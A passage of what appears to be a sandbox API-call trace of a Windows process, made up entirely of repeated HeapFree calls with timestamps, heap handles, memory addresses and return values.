[0067.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.329] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.330] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.331] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.331] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.331] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.332] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.333] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.333] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.334] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.334] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.335] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.336] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.336] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.338] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.339] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.339] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.340] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.341] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.341] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.342] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.343] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.343] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0067.343] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0067.349] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0067.355] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0067.363] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0068.422] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0068.423] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0068.423] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0068.423] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0068.427] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0068.476] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0068.476] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0068.477] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0068.478] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0068.979] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0068.979] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0068.980] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0068.980] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0069.392] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0069.395] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0069.395] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0069.397] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443bff8 | out: hHeap=0x6a0000) returned 1 [0069.622] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443bff8 | out: hHeap=0x6a0000) returned 1 [0069.622] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0069.626] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0069.628] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0069.628] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0069.628] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x443bff8 | out: hHeap=0x6a0000) returned 1 [0069.628] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x442bff0 | out: hHeap=0x6a0000) returned 1 [0069.629] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0069.633] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0069.633] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0069.636] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0069.637] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0069.637] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x439b038 | out: hHeap=0x6a0000) returned 1 [0069.637] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0069.643] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0069.643] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0069.646] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0069.646] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0069.657] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0069.657] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0071.626] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0071.629] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0071.629] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0071.631] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0071.632] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0071.633] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0071.633] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0071.636] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0071.638] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0071.641] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0071.643] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0071.645] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0071.649] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0071.650] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0071.650] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0071.650] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0071.652] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0071.658] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0071.659] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0071.659] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0071.660] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0071.661] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0071.662] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0071.662] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x435b018 | out: hHeap=0x6a0000) returned 1 [0071.662] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0072.111] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0072.111] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0072.389] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.390] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.390] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.391] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.392] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.393] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.394] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.398] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.400] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.401] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.402] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.402] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.405] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.406] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.407] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.408] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.409] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.409] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.410] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.411] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.412] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.413] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.413] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.414] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.415] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.415] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.416] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.417] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.418] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.419] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.420] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.421] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.422] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.424] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.424] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.425] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.426] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.426] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.427] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.428] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.429] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.429] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.430] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.430] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.431] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.431] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0072.434] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.435] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.436] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.916] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0072.950] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0073.114] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0073.114] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.114] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0073.119] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.119] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0073.120] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0073.120] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0073.120] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.120] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0073.123] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0073.124] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0073.124] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0073.125] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.125] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0073.125] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0073.125] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0073.125] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0073.130] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0073.132] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.132] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.132] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.133] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.133] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.133] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.133] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.134] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.134] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.134] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.134] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.135] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0073.135] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.137] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.137] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.138] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0073.139] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.139] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0073.139] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.142] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0073.142] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.142] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0073.145] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0073.145] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.146] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0073.147] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0073.148] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0073.148] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0073.149] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0073.874] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0073.875] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0073.875] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0073.876] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.876] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0073.878] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0073.880] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0073.881] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.881] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0073.881] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0073.882] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.883] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0073.883] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0073.883] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0073.891] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0073.893] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0073.893] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0073.893] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0073.893] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 | out: hHeap=0x6a0000) returned 1 [0073.895] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0073.901] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0073.904] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0074.235] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x441bfe8 | out: hHeap=0x6a0000) returned 1 [0074.238] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x440bfe0 | out: hHeap=0x6a0000) returned 1 [0074.240] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x438b030 